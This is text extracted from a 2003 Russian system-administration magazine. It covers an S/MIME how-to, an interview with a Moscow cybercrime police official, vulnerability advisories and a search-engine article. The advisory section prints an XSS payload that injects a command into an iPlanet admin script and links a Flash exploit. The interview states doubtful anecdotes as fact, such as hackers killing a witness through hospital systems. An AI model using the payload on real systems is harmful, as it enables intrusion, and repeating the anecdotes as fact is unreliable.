Единственное, что резко испор-тило мое мнение об S/MIME – это то,что генерировать сертификаты уме-ет, пожалуй, один The Bat, осталь-ные говорят, что сертификаты мож-но получить от root ca (корневыецентры сертификации). Сертифика-ты The Bat могут спокойно импорти-роваться любой программой, под-держивающей S/MIME, если эти сер-тификаты не содержат секретногоключа. Все мои попытки импортиро-вать последние завершились зави-санием или «неизвестной» ошибкой(думаю, что это от того, что The Batиспользует собственную реализа-цию S/MIME ни с чем не совмести-мую на уровне секретных ключей).Поэтому я ограничусь рассказом проThe Bat (в других мейлерах всё сде-лано по тому же принципу, разве чтоназывается по-другому). Для нача-ла зайдём в «Настройки->S/MIME»,там выберем внутреннюю реализа-цию S/MIME, алгоритм симметричес-кого шифрования и алгоритм хеши-рования (тут на ваше усмотрение).После этого заходим в свойстванужного почтового ящика на заклад-ку «Общие», давим кнопку«Cертификаты» и там видим потря-сающее пустое окно. Создаём сер-тификат волшебной кнопкой«Cоздать» и дальше следуйте инст-рукциям. Появился сертификат, ко-торый является опасным по умолча-нию. Ага, как же, дважды щёлкаемпо нему мышой и добавляем кtrusted ca. После чего сертификатокрашивается в радостный зелёныйцвет и им можно подписать письмохоть Папе Римскому. Для импортачужого сертификата необходимопроделать с ним такие же действия,после чего эти сертификаты зано-

сятся в адресную книгу «trusted rootca». При получении письма с серти-фикатом значок в поле вложенийуказывает на проверку сертифика-та (обратите внимание на его цвет,форму, попробуйте дважды щёлк-нуть мышой или попытайтесь его им-портировать). Думаю, что использо-вание S/MIME для написания соб-ственных писем не должно вызватьзатруднений. Просто в редактореThe Bat сбросьте галочку «Защита-> Авто OpenPGP» и установите«Защита -> Авто S/MIME». Дальшевсё как в OpenPGP. Ещё полезноустановить галочку компрессии в оп-циях S/MIME, иначе шифрованиеувеличивает размер сообщения где-то в 2 раза (при ключе длиной 2048бит и алгоритме IDEA – 128 бит).

Вообще, по-моему, оптимальноиспользовать The Bat с OpenPGP(внутренней или gnupg, для после-дней надо прописать путь к испол-няемому файлу gpg.exe в PATH).Хотя использование сертификатовтоже не составляет никаких про-блем, я, честно говоря, большепредпочитаю OpenPGP, так как ге-нерация ключей намного проще висполнении, чем получение серти-фикатов (если использовать мей-лер, который эти сертификаты де-лать сам не умеет). Опять же этотолько моё мнение...

Всем пользователям Win* я сове-тую использовать The Bat или gnupg,а всем пользователям *nix – gnupg.Эти две программы решат все вашипроблемы безопасной почты (хотяещё неплохо бы найти мыльный сер-вер с безопасной передачей паро-лей).

Привожу список сайтов, содер-жащих полезную информацию поданной теме:! www.nobat.ru – неофициальный

сайт The Bat;! www.gnupg.org – официальный

сайт gnupg;! www.ritlabs.com – официальный

сайт The Bat (а всё-таки вампи-ра написали наши программеры– честь им и хвала);

! certs.netscape.com – список кор-невых центров сертификации,где можно получить сертификат.

Ну, вот и всё!

Content-Type: multipart/signed;protocol=»application/pkcs7-signature»;micalg=sha1;boundary=»

�����C61031FF2231ECF0"

This is a cryptographically signedmessage in MIME format.

������C61031FF2231ECF0

Content-Type: text/plain;charset=koi8-rContent-Transfer-Encoding: 8bit

Текст Письма������C61031FF2231ECF0 Content-Type:application/pkcs7-signature;name=»smime.p7s»Content-Transfer-Encoding:base64 Content-Disposition:attachment; filename=»smime.p7s»Content-Description:S/MIME Cryptographic SignatureMIIFPQYJKoZIhvcNAQcCoIIFLjCCBSoCAQMxCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCCAyow ...������C61031FF2231ECF0�

Page 56: 002 Системный Администратор 01 2003

54

безопасность

КИБЕРКОП,ИЛИКИБЕРКОП,ИЛИ

Управление «Р» (управление по борьбе с преступлениями в сфере высоких технологий) ГУВД Москвынемножко виртуально и загадочно даже по своей штаб-квартире. Снаружи в этом доме вроде бы дваэтажа, а управление базируется на третьем. Вот так и в остальном – их работа пока невидима глазубольшинства людей. Невидима, но крайне важна.

Был уже восьмой час вечера. В ка-бинете начальника отдела поборьбе с компьютерными преступ-лениями Александра Слуцкого об-суждались детали завтрашнего«оперативного мероприятия». Со-бирались брать матерого хакера.Когда детали завтрашнего рейда,намеченного, между прочим, на 6утра, были согласованы, Алек-сандр Сергеевич извинился, дос-тал из сумки котлету и начал ус-тало ее поглощать. «Вы меня из-вините, я еще не завтракал». Соб-ственно, я и сам уже понял, что ра-бота самого интеллектуального«хакерского» отдела не сахар.

– Александр Сергеевич, все зна-ют, что ваше управление занимает-ся хакерами. Вы можете мне в двухсловах объяснить, кто это такие?

– Легко. Если вдаваться в этимо-логию слова «хакер», слово, безуслов-но, английское, имеет очень древниекорни, это староанглийский язык. Про-изошло оно от слова «хек» – значитрубить. Хакерами в древней Англии на-зывали очень хороших плотников, ко-торые работали с деревом и могли приминимуме инструментов делать изнего все что угодно.

Потом это слово как-то перешло вкомпьютерную среду. Правда, естьеще и второе мнение, альтернативное.

Когда появились первые ЭВМ, они про-граммировались перфокартами. Тогдавсе было очень просто, программиро-вание шло на языке машинных кодов,которые составлялись в двоичной си-стеме из нулей и единиц. Если в пер-фокарте дырка – это единица, контак-ты через нее замыкаются, нет – зна-чит ноль. Так вот, эти перфокарты приработе издавали такой характерныйклацающий звук, похожий на этот«хек».

Хотя слово есть, а кого им называть– все равно непонятно. Я лично хаке-рами называю, как это принято в стра-нах Запада, тех, кто в совершенствезнает компьютер. Тех, кто с помощью

КОНЕЦВИРТУАЛЬНОГОМИРА

Page 57: 002 Системный Администратор 01 2003

55№1(2), январь 2003

безопасность

этих знаний совершает преступления,я так и называю: преступниками, зло-умышленниками. Поэтому ярлык ненужно вешать на всех голословно. Сле-сарь тоже может отмычки делать длясейфов, но мы же не называем всехслесарей медвежатниками!

– Понятно. Кстати, а про себя Выможете сказать, что в совершенствезнаете компьютер?

– Нет, про себя не могу. Конечно,разбираюсь, но не в совершенстве.

– А в отделе есть такие люди?– Нет. И слава богу. Дело в том, что

я по роду деятельности хорошо знакомс теми людьми, которых называют ком-пьютерными «гуру». Эти люди простоне смогут работать у нас. Поймите, тех-нические знания у нас вторичны. Здесьв первую очередь нужна оперативнаямилицейская работа: выезды, задер-жания, слежка и пр. А хакер – чело-век, который живет в виртуальноммире. Он там живет почти весь. Длянего компьютер – это все, реальнойжизни вокруг для него как бы не суще-ствует. И ему часто начинает казать-ся, что реальный мир может жить поего виртуальным законам. У хакеровсвоя психология. Это так же как в ка-ратэ: свое учение, своя вера, свои зна-ния… А знания цвета не имеют, ихможно употребить и во зло, и во бла-го. Все зависит не от самого знания, аот того, как его используют.

Когда у человека происходит про-цесс познания компьютера, он почтивсегда проходит через эту вредонос-ную стадию. Для кого-то это простоэтап в развитии, а кто-то на нем заст-ревает. Ведь почему люди начали пи-сать вирусы? Изначально, на заре по-явления электронно-вычислительнойтехники, их очень много писали, при-чем писали советские программисты,из соцлагеря. Почему? Вирус – этоочень интересная программа, она дол-жна быть очень маленького размера,при этом совершать множество дей-ствий: маскироваться, саморазмно-жаться, что-то делать. На заре ЭВМ,когда еще была система ДОС, их пи-сали на машинном языке, в двоичныхкодах, которые сейчас 99% програм-мистов не знают, и укладывали все в300 – 500 байт. Люди просто решалисложную творческую задачу и совер-шенно не собирались делать кому-тогадости.

Кстати, в Америке подобной роман-тики почему-то не было и качествен-ной школы программистов там так ине сложилось. Почему в США нашипрограммисты пользуются таким бе-шеным спросом? Потому что они твор-чески умеют решать любые задачи.

– Кстати, а когда у нас было со-вершено первое компьютерное пре-ступление? История зафиксирова-ла?

– Наверное, да. Хотя здесь нелег-ко определять. Первые серьезные мо-шенничества были в банках, тамошниепрограммисты пользовались тем, чтоих работа была для простого челове-ка абсолютно недоступна и непонятна.Можно было набить простенькую про-грамму и шуровать. Мошенничествабыли даже в Госбанке СССР. В 1991году тамошний программист внес впрограмму подсчета платежей крохот-ное изменение. При подсчетах стал от-брасываться хвостик – одна десятиты-сячная копейки. И все, что было заэтим «хвостиком», уходило на другойсчет. Его личный. Но что значит однадесятитысячная при обороте ГосбанкаСССР? Огромные деньги, общая сум-ма хищения была несколько милли-онов полновесных советских рублей!Специальных «компьютерных» статейтогда еще не было, к нему применилираспространенное «мошенничество».И только при разработке нового кодек-са, не без нашей помощи, законода-тели поняли, что возникла еще однаочень интересная категория, которуюнужно защищать. Это информация.

– Информация – штука больновиртуальная. Ее, в отличие от иму-щества, трудно руками пощупать.

– Правильно, из-за этого у нас сей-час много споров и трудностей. Ведь встатьях УК, посвященных этому видупреступлений, написано, что преступ-лением является «неправомерное об-ращение с информацией». Которое,кстати, может не нести никакого мате-риального ущерба. По крайней мере,прямого и явного. А у нас, если нет ни-каких вредных последствий, нет и пре-ступления. «Неточность» подобнойформулировки стала ясна, когда в1999-м году произошло ЧП во Влади-востоке, в родильном отделении боль-ницы. Дежурный по системе поддер-жания жизнедеятельности новорож-денных принес на работу дискетку с иг-

рушкой и с вирусом. Запустил. Систе-ма зависла. В результате умер ново-рожденный. Вру, это было еще до но-вого Кодекса, потому что его так и неосудили. Оформили все как «несчаст-ный случай». В 98-м году было нечтопохожее, когда была захвачена систе-ма управления «Газпромом». Один изтамошних высокопоставленных чинов-ников ушел с обидой, что-то они тамне поделили. Потом нанял компьютер-ных специалистов, для того чтобы они,используя его пароль, вошли в систе-му и стерли какие-то файлы. Причемсистема «Газпрома» была очень хоро-шо защищена. Но только от вторже-ния извне. А они вошли в нее как«свои», используя «неуволенный» па-роль. Они проникли в систему, по сути,в канал управления «Газпромом». Уэтих ребят, студентов, никакого злогоумысла не было, просто залезли исмотрели. Они могли поток газа в од-ном месте перекрыть, в другое пере-бросить… Там же все автоматизиро-вано. Слава богу, не наделали беды.Их вовремя обнаружили и задержали.Но в данном случае системного адми-нистратора надо сажать. Ну не сажать,а судить. Потому что из компании ушелчеловек, имеющий доступ к системе,а сисадмин не удосужился тут же сме-нить пароли доступа. Грубейшее нару-шение!

– Да у нас это повсеместно про-исходит.

– Совершенно правильно, повсеме-стно. У нас в прошлом году было об-ращение из Красноярского края от ин-тернет-провайдера «Глобал-1». Ониобнаружили, что у них Интернет вору-ют, причем в промышленных масшта-бах. Воруют здесь, из Москвы. Мы по-работали, проверили и обнаружили вМоскве 85 телефонов, с которых осу-ществлялся неправомерный доступ.Потом, когда все разбирали, оказа-лось, что тамошний директор был двагода назад в командировке в Москве,и у него украли ноутбук. А на нем былизаписаны все пароли. И за два годаони не удосужились их сменить. Та жесамая халатность и беспечность.

– Эта халатность свойственнатолько нам или повсеместна?

– Повсеместна. Общая привычка.В июле был в Нью-Йорке, летал по од-ному делу: наш хакер из Сургута взло-мал базу данных американского бан-

Page 58: 002 Системный Администратор 01 2003

56

безопасность

ка и похитил клиентскую базу. Началшантажировать банк, грозясь опубли-ковать эту информацию. Для банка этосерьезная проблема, поэтому они сра-зу дали ему 10 тысяч долларов откуп-ных. А потом мы его здесь благополуч-но взяли. Сейчас сидит в тюрьме и нерадуется.

Но дело не в этом. Это самоучка,любитель, базу взломал абсолютно не-профессионально. Начитался простей-ших приемов на хакерских сайтах, за-пустил простейшую программу... Ивзломал. Потому что защиты у банканикакой практически не было.

– То есть это не хакер у нас такойсильный, а у них защита слабая.

– Всему виной слабая защита имен-но в фирмах, занимающихся «e-commerсe». Это понятно, хорошие спе-циалисты по антихакерной защите до-рого стоят и поэтому руководители по-добных компаний зачастую просто жа-леют тратить на них деньги. Правда,жалеть об украденных деньгах прихо-дится еще сильнее, но… Надежда на«авось» не является эксклюзивной рос-сийской привычкой, как думают многие.

Кроме того, на мой взгляд, у тамош-них полицейских, специализирующих-ся в области компьютерных техноло-гий, не очень высокие познания в этойспецифической сфере. Может быть,как полицейские они и хорошие, но длятого чтобы эффективно бороться с ха-керами, надо знать специфику этогомира. Надо знать технологию компью-терных программ, сетей, разбиратьсяв терминологии хакера – для того что-бы общаться с ним на одном языке.Надо хотя бы владеть персональнымкомпьютером, а многие тамошниеглавные специалисты печатают на кла-виатуре одним пальцем. Я вот не ком-пьютерный специалист, а печатаю де-сятью. Хотя закончил всего-навсего хи-мико-технологический институт имениМенделеева.

– А специальность какая?– Вы что, тоже там учились? Техно-

логия основного органического и неф-техимического синтеза. Поработал тригода на химическом заводе и потомпошел в милицию. Сейчас у меня 17 летстажа оперативной работы. Предыду-щая должность – заместитель началь-ника 2-го «убойного» отдела МУРа.Начинал с оперуполномоченного в от-делении милиции, дошел на «земле» до

заместителя начальника по уголовно-му розыску. Потом перешел в МУР. Акомпьютер всегда был моим хобби.

– Александр Сергеевич, а когда уВас появилась первая «машина»? Яимею в виду компьютер?

– Первый компьютер я собрал сам.Это был 1986-ой год, машина называ-лась РК-86, делал ее по схеме из жур-нала «Радио». Я вообще с детства ув-лекался радиолюбительством, прием-ники собирал. А первый серьезный ком-пьютер появился, когда работал в 82-ом отделении милиции, нам его пода-рили местные спонсоры. Хороший былкомпьютер, 8088, первая XT-ишка. Таму меня уже база стояла, всех местныхзлодеев туда собирал. Кстати, я потом,когда базу эту сделал, даже несколькопреступлений раскрыл. За счет этой на-копленной информации, взаимосвязи…Из окружающих, правда, никто не по-нимал: «О, в игрушки играешь!» И сей-час не все понимают. Правда, сейчас,когда компьютер стал фактически ра-ботой, стало намного тяжелее.

– А как получилось, что Вы из та-кого замечательного боевого отде-ла и вдруг на эту виртуальную сте-зю попали?

– Когда это управление формиро-валось, мне предложили в нем рабо-тать. Я с большим трудом уходил изМУРа, меня жутко не хотели отпускать.А почему я сюда захотел, потому чтоэто развивающееся направление, пер-спективное. До сих пор еще точно ник-то не знает, что из этого получится вдальнейшем. Мы же идем к глобаль-ной системе телекоммуникаций, когдавсе будет в сети. Холодильники, теле-визоры, микроволновые печи с под-ключением к Интернету… Это будетпоистине глобальная сеть, ее надо за-щищать. Еще никто не понимает опас-ностей, которые нам грозят.

Здесь каждый день появляется что-то новое. Те же злоумышленники, оникаждый день изобретают новые спо-собы совершения преступления. Всевремя приходится работать головой,какая-то творческая мысль, развитие.А убийства… Методика раскрытияубийств, она наработана уже годами,да какими годами, десятками лет! Этоидет со времен царской охранки. Стан-дартная методика. Нет движения, нетдинамики, развития, все устоявшееся,одно и то же. А здесь интересно. Кста-

ти, в нашем управлении мы смоглидобавить кое-что новое и в методикуработы по убийствам.

В марте был реальный случай, ког-да мы вместе с коллегами из Ярослав-ля поймали киллера, который прини-мал заказы в сети. Он разместилобъявление на электронной доскеобъявлений, «помогу уйти из жизни,можно без согласия клиента».

– С юмором парень.– Кто его знает, с юмором, а может,

для того чтобы затруднить нам поиск.Мы же ведем разведку в сетях Интер-нета по ключевым словам. А тут клю-чевых слов нет, но ярославцы на негокак-то вышли. Объявление было раз-мещено из Москвы, мы взяли под конт-роль этот почтовый ящик, вступили сним в переписку под видом заказчиков.

Его взяли при получении задатка.Правда, когда его к следователю про-куратуры повезли, парень сразу же ска-зал, что это все шутка, что «просто хо-тел заработать денег». Сделали обыск,но у него дома оружия не нашли. В ре-зультате осудили за мошенничество.Хотя я уверен, что человек действитель-но намеревался совершить убийство…Потому что когда он взял «заказ», тосразу начал готовиться, установил на-блюдение за «клиентом», изучал ре-жим…

Потом в 1998-м году в США былреальный случай убийства, совершен-ного с помощью Интернета. Там задер-живали банду наркоторговцев. При за-держании в перестрелке тяжело рани-ли одного из членов банды, остальнымудалось скрыться. Раненого склонилик сотрудничеству, он начал давать по-казания. Само собой, применили про-грамму «защиты свидетелей», далидругое имя, документы, адрес. Но всечто сменили, осталось в компьютерныхбазах данных того же ФБР. Раненогопоместили в больницу под охрану, онбыл в тяжелом состоянии, много огне-стрельных ранений. А наркоторговцынаняли хакеров, которые смогли войтив базу данных ФБР, узнали как теперьзовут «отступника», где он находится идистанционно отключили ему в больни-це систему жизнеобеспечения. Попут-но вырубили и систему тревоги, кото-рая должна была сработать. Утром при-шла медсестричка, а в койке холодныйтруп. Это реальный случай убийстваИнтернетом. Это уже реальность.

Page 59: 002 Системный Администратор 01 2003

57№1(2), январь 2003

безопасность

– Я вообще удивляюсь, почемуподобное управление не создалипод эгидой Министерства Обороны.Ведь с помощью компьютера мож-но целые армии из строя выводить.Не то что больницы…

– Не волнуйтесь, они этим тоже за-нимаются. И мы с ними работаем в кон-такте. У нас был случай, когда при бое-вых полетах неожиданно начали возни-кать жуткие помехи, прерываться связьс самолетами, шумы. Военные обрати-лись к нам, оказалось, все помехи де-лает одно частное такси. С незарегест-рированным дальнобойным передатчи-ком. Такая разновидность семейногобизнеса – жена сидела дома, принима-ла заказы и передавала мужу по рации.Рация была настолько мощная, что со-здавала помехи самолетам.

Информационные технологии дей-ствительно могут быть очень мощныморужием. Кстати, когда был иракскийконфликт, помните? Ирак покупал уфранцузов истребители «Мираж» неза-долго до начала «Бури в пустыне». Ког-да конфликт начался, ни один «Мираж»не взлетел. Потому что у всех сразу от-казала система навигации. Она былавыведена из строя на всех истребите-лях сразу всего лишь одним радиосиг-налом. Это просто было изначально за-ложено в конструкции. О чем иракцев,разумеется, не предупредили.

Вот сейчас в Швеции анонсирова-ли новинку для борьбы с кражами мо-бильных телефонов. Большая пробле-ма, много воруют. Потом к нам при-возят и продают. Так шведы сделалив телефоне взрывающийся чип. Коди-рованным сигналом этот чип внутриаппарата взрывается и все, телефонстановится бесполезен. Его можнотолько выкинуть. Украли у тебя теле-фон, сделал один звонок и… само-уничтожение. А если такие телефоныпойдут в серию? Что, наши злые ха-керы не подберут такой сигнал? Зап-росто. И что тогда будет? Можно вы-вести связь сразу на громадной тер-ритории. А связь – это великое дело,не зря Ленин говорил, что сначалапочту-телеграф захватить, только по-том мосты. Нет связи – нет управле-ния, происходит дезорганизация ра-боты общества.

– Чем больше общество развива-ется, тем более оно становится уяз-вимым.

– Да. Я, конечно, не хочу усомнить-ся в компетентности специалистов, нопосмотрел статистику авиакатастроф.В 30% случаев причиной аварии былсбой бортового компьютера. У «Боин-гов» это особенно часто бывает. И все,дальше не доискиваются, почему этотсбой произошел. Наверное, и невоз-можно доискаться, потому что в облом-ках мало что остается. Но все дело втом, что тем же «Боингом» можно пол-ностью управлять с земли. Сделаноэто для страховки пилотов, стало имплохо – можно взять управление с зем-ли и посадить самолет. Но можно еготакже и уронить! Все зависит от того,как закрылки передвинешь. Причемсделать все можно без ведома пило-та, все автоматизировано. И когда впричинах аварии пишут «сбой компь-ютера», это должно наводить намысль: почему? Откуда сбой?

И сейчас подобные компьютерывезде. Вон последняя 745-ая серия ма-шин «БМВ». Это первая машина, ко-торая не имеет ни одной физическойсвязи водителя с механизмом. Все уп-равляется через электронику. Нет ниодной тяги, ни одного рычага, которыйвел бы непосредственно к системе уп-равления или двигателю. Управляет-ся машина под операционной систе-мой «Виндоус СЕ», установленной вбортовом компьютере. А раз стоит опе-рационная система, значит можно за-нести вирус. Там, кстати, есть и выходв Интернет, навигационная система. Араз есть выход, канал связи, значитможно войти в систему и управлять. Имашина откажется повиноваться – тыруль крутишь вправо, а она поворачи-вает влево. Как в фантастическихфильмах – машина, которой можнополностью управлять дистанционно.Мы уже пришли к этому.

Последнюю часть машин отозвали,там встроенный «Виндоус» виснет, чтоприводит к «беспричинной» останов-ке машины.

– Жуть. Вы прям как профессио-нальный футуролог будущее пред-рекаете. Кстати, а как изменяетсяобъем преступлений по Вашему про-филю? Точнее, как быстро растет?

– По статистике, за прошлый год вобласти высоких технологий преступ-лений было зарегистрировано 262. Этов два раза больше, чем в позапрош-лом году. И в четыре – чем в 1999-м.

Двукратное увеличение идет каждыйгод с 1997-го, т.е. с момента основа-ния управления. Уже сейчас по 3-4 об-ращения в день с жалобами на лопнув-шие и липовые паевые инвестицион-ные интернет-фонды. Но при этом ла-тентность этих преступлений составля-ет не менее 90%.

– Это что за слово такое мудре-ное, дешифруйте.

– Латентность – скрытость. То естьне все преступления заявляются. Поразным причинам. Во-первых, многиепопросту пока еще не знают про нашуслужбу, а простой участковый с таки-ми делами человека может просто «по-слать». Во-вторых, люди просто сомне-ваются, что можно что-то найти и что-то сделать. Как найдешь что-то в Ин-тернете? И в-третьих, многим это кажет-ся рискованным. Последняя категориясамая многочисленная, это серьезныефирмы и банковская сфера. Они про-сто не хотят афишировать, что у нихчто-то произошло. Поскольку это можетнанести очень большой ущерб имиджуи неправильно будет воспринято кли-ентурой. Заяви – начнут копать, а таммало ли что раскопают. У нас ведь увсех банков рыльце в пушку, все рабо-тают с «левыми» фирмами, которые засчет своих незаконных операций при-носят конкретный доход конкретнымлюдям в руководстве каждого банка.

Нам позвонили недавно коллеги изТамбова, говорят, поймали негодяя, онтут в некоем банке «А» украл 60 тысячрублей. Залез через сеть в банк и пе-речислил деньги себе. Компьютер за-секли, парня поймали, сознался. Зво-ним в банк, сообщаем. В ответ слы-шим: «Нет, у нас никаких хищений небыло, быть не может и никогда бытьне могло». Потом шепотом поясняют:«Ущерб имиджу!».

– Александр Сергеевич, а стараяматерая преступность с молодойкриминальной компьютерной порос-лью, случаем, не роднится?

– Нет, почти нет. Конечно, я не го-ворю об «апельсинах» (купивших себеворовские звания за деньги). Ни один«вор в законе» этим заниматься не бу-дет. По крайней мере мне о таких слу-чаях неизвестно. У нас сейчас другаяэпоха и другая преступность. Толькобы ее не проворонить.

Дмитрий Аксёнов

Page 60: 002 Системный Администратор 01 2003

Выполнение произвольных программв iPlanet Web Server

При некоторых обстоятельствах атакующий можетвыполнять произвольные программы с root-привилеги-ями, используя комбинацию двух обнаруженных уязви-мостей в iPlanet Web Server 4.* up to SP11 (NG-XSS).Вот эти две уязвимости:! Небезопасный open() в Admin Server PERL сценарии.! Межсайтовый скриптинг.

Уязвимости по отдельности не могут приводить к выпол-нению произвольных команд в iPlanet Web Server, так какуязвимый Perl-сценарий защищен опознавательной схемой.Межсайтовый скриптинг обнаружен в веб-интерфейсе ад-министратора при просмотре файлов регистрации ошибок.Атакующий может внедрить в эту страницу произвольныйкод сценария, который переадресует на уязвимый Perl-скрипт. Так как для просмотра файлов регистрации ошибоктребуется предварительная авторизация, Perl сценарий бу-дет вызван автоматически. Единственное, что должен сде-лать атакующий – это заставить администратора серверапросмотреть в административном интерфейсе регистрациюошибок. Пример внедряемого javascript сценария:

Переполнение буфера в MDAC (InternetExplorer, Interner Information Server)

Microsoft Data Access Components (MDAC) – набор ком-понентов, используемых для обеспечения связи между ба-зами данных на Windows-системах. MDAC – вездесущая тех-нология, присутствующая на большинстве Windows-систем:! По умолчанию устанавливается как часть Windows XP,

Windows 2000 и Windows Millennium.! Доступна для загрузки как отдельный продукт.! Включена и инсталлируется с множеством других про-

дуктов (например, Windows NT 4.0, Option Pack иInternet Explorer).

MDAC обеспечивает основные функциональные воз-можности для множества операций базы данных, типасоединения с удаленными базами данных и возвраще-нием данных клиенту. Один из MDAC-компонентов, из-вестных как Remote Data Services(RDS), обеспечиваетфункциональные возможности, которые поддерживаюттрехярусную архитектуру, то есть архитектуру, в кото-рой запрос клиента для базы данных проходит черезсайт, который применяет логику к запросам. Обнару-жена серьезная уязвимость в RDS-выполнении, а точ-нее в функции RDS Data Stub, которая анализирует вхо-дящие HTTP-запросы и генерирует RDS-команды.

Уязвимость связана с переполнением буфера в DataStub. Посылая специально сформированный HTTP-запроск Data Stub, атакующий может переполнить динамическуюпамять. Хотя переполнение динамической памяти болеетрудно в эксплуатации, чем переполнение стека, Microsoftподтвердил, что уязвимость может использоваться длявыполнения произвольного кода на системе клиента.

Уязвимости подвержены как веб-сервера, так и веб-клиенты:! Веб-серверы уязвимы, если на них установлен MDAC и

запущен на сервере. Для успешной эксплуатации уязви-мости против веб-сервера атакующий должен установитьподключение с сервером и послать специально сформи-рованный HTTP-запрос, который переполнит буфер дан-ными атакующего. Любой код будет выполнен с приви-легиями IIS службы (по умолчанию, LocalSystem).

! Веб-клиенты уязвимы почти всегда, так как RDS DataStub включен во все последние версии Internet Explorerи нет опции, в которой он может быть отключен. Уяз-вимость может эксплуатироваться через злонамерен-ную веб-страницу или HTML почтовое сообщение.

По словам Microsoft, уязвимость очень серьезна и всесистемы, которые она может затронуть, должны немедлен-но установить соответствующие заплаты. Администрато-ры веб-серверов должны остановить MDAC и/или RDS, илиобновить до MDAC 2.7, которая неуязвима. Веб-клиентыдолжны установить обновление немедленно на системах,прямо или косвенно использующих RDS. Например, еслидаже на веб-сервере заблокирован MDAC, веб-клиенты наэтом сервере все еще нуждаются в установке патча.

Уязвимость обнаружена в Microsoft Data AccessComponents (MDAC) 2.1 Microsoft Data Access Components

Переполнение буферав Macromedia Flash

Переполнение буфера обнаружено в SWRemote пара-метре, используемом в объектах Macromedia Flash.

Успешная эксплуатация этой проблемы позволяет уда-ленному злоумышленнику переадресовывать процесс вы-полнения программы к злонамеренному shellcode, чтоприведет к выполнению произвольных команд с привиле-гиями процесса браузера.

Уязвимость обнаружена в Macromedia Flash 6.0.47.Эксплоит можно скачать отсюда: http://

www.securitylab.ru/_tools/swfexpl.zip.

Переполнение буфера в Samba

Переполнение буфера обнаружено в подпрограммеизменения пароля в Samba. Из-за недостаточной провер-ки границ пользовательского ввода атакующий можетпереполнить буфер, передавая зашифрованный парольчрезмерной длины.

Уязвимы все приложения, использующие модульpam_smbpass PAM. Уязвимость может эксплуатировать-ся удаленно, потенциально приводя к выполнению произ-вольного кода с root привилегиями.

Уязвимость обнаружена в Samba 2.2.2-2.2.6.

(MDAC) 2.5, Microsoft Data Access Components (MDAC) 2.6,Microsoft Internet Explorer 5.01, Microsoft Internet Explorer5.5, Microsoft Internet Explorer 6.0.

<script>w i n d o w . l o c a t i o n = " / h t t p s - a d m s e r v / b i n / p e r l /

importInfo?dir=|<command>%00";</script>

bugtraq

58

Page 61: 002 Системный Администратор 01 2003

ПРОГРАММИРОВАНИЕ

Page 62: 002 Системный Администратор 01 2003

60

программирование

АНДРЕЙ КОВАЛЕНКО

ИСТОРИЯ ОДНОЙ РАЗРАБОТКИ,ИЛИКАК МЫ ДЕЛАЛИSITEMETA

Прошло уже полтора года с тех пор, как украинская компания <META> объявила о запускеновой поисковой машины в Интернете, использующей, пожалуй, все самые передовыеразработки в области информационного поиска. До этого поисковая система использовалапрограммное обеспечение ИПС Апорт версии девяносто восьмого года, так что событие этобыло неизбежным – ведь поисковые технологии не стоят на месте.

АНДРЕЙ КОВАЛЕНКО

ПОИСКОВАЯ СИСТЕМА ДЛЯ ИНТЕРНЕТА.

ПОИСКОВАЯ СИСТЕМА ДЛЯ САЙТА.

КОРПОРАТИВНАЯ ПОИСКОВАЯ СИСТЕМА.

ВСТРАИВАЕМЫЕ ПОИСКОВЫЕ БИБЛИОТЕКИ ДЛЯ РАЗРАБОТЧИКОВ.

ЛИНГВИСТИЧЕСКИЕ КОМПОНЕНТЫ.

ЗАО МЕТА РАЗРАБАТЫВАЕТ И ВНЕДРЯЕТ ПОИСКОВЫЕ РЕШЕНИЯЛЮБОГО УРОВНЯ СЛОЖНОСТИ. ОБЪЁМ ИНДЕКСИРУЕМОЙ ИНФОРМА-ЦИИ ОТ 0.001 ДО 1000 ГБ. ПОДДЕРЖКА ВСЕХ ЕВРОПЕЙСКИХ ЯЗЫКОВ.РУССКАЯ И АНГЛИЙСКАЯ МОРФОЛОГИЯ. ФИЛЬТРЫ ДЛЯ ВСЕХ РАСПРО-СТРАНЁННЫХ ФОРМАТОВ (HTML, XML, DOC, XLS, И Т. П.)

Page 63: 002 Системный Администратор 01 2003

61№1(2), январь 2003

программирование

История разработки большой поисковой машины будет,возможно, описана позже, может быть, – в чьих-нибудьмемуарах, может быть, – несколько раньше, однако сей-час интереснее нарушить хронологический порядок ирассказать, что и как пришлось сделать для того, что-бы построить полноценную локальную поисковую ма-шину siteMETA, не наступив себе на хвост и не нару-шив целостности проекта.

Откуда растут уши?Рано или поздно в жизни интернет-ресурса наступаетмомент, когда без поиска по растущему количеству доку-ментов уже не обойтись. Фактически, сайту, состоящемуиз сотни страниц, уже необходимы поисковые функции.Для иллюстрации данного утверждения достаточно обра-титься к большим поисковым системам и дать запрос:“сделать поиск по сайту”. Ответы будут содержать мно-жество примеров. Это и просьбы пользователей, и «дек-ларации намерений» владельцев серверов наконец-тододелать своё детище, и радостные новости о том, что«поиск по сайту заработал»... Но есть и сообщения о труд-ностях, с которыми приходится сталкиваться при выборе,установке и последующей эксплуатации поисковой сис-темы. Давайте проанализируем, кому же нужен этот са-мый поиск по сайту?

Как пишет известный специалист по «Web-usability»Якоб Нильсен: «Пользователи обожают поиск по двум при-чинам». Во-первых, поиск позволяет посетителям управ-лять своей собственной судьбой и делает их независимы-ми от попыток веб-сайта направить их по определеннойтропе, протоптанной веб-дизайнером, и результаты тес-тов регулярно подтверждают этот вывод. Типичное заме-чание пользователя: «Я не хочу идти по сайту так, какони задумали. Я просто хочу найти нужную мне информа-цию». Вот почему большинство посетителей сайтов идутк функции «Поиск» сразу с главной страницы.

Во-вторых, поиск для посетителей – это «пожарныйвыход» на случай, когда они запутались в навигации. Ког-да им неясно, что нужно дальше делать, они обращаютсяк функции поиска по сайту. Так почему бы не развесить«спасательные круги» по бортам судна, разместив поис-ковую форму на всех страницах сайта? Тем более пред-сказать, на какой именно странице посетители посчита-ют, что они потерялись, – невозможно.

Именно поэтому, разработав и запустив большую по-исковую машину, мы решили сделать и ее «маленькуюверсию» – просто для того, чтобы каждый владелец сай-та мог легко и просто организовать качественный поиск всвоих небольших (до одного гигабайта) угодьях.

Статика или динамика?Большие поисковые машины – существа весьма непово-ротливые и, как правило, балуют сайты визитами своихроботов не чаще раза в неделю. Правильнее сказать –значительно реже. Связано это прежде всего с тем, чтообъемы обрабатываемой информации огромны, размерыиндексов – тоже. Индексы больших машин не имеют орга-ничных процедур модификации. Вместо этого выполня-ются различные специальные алгоритмы распараллели-

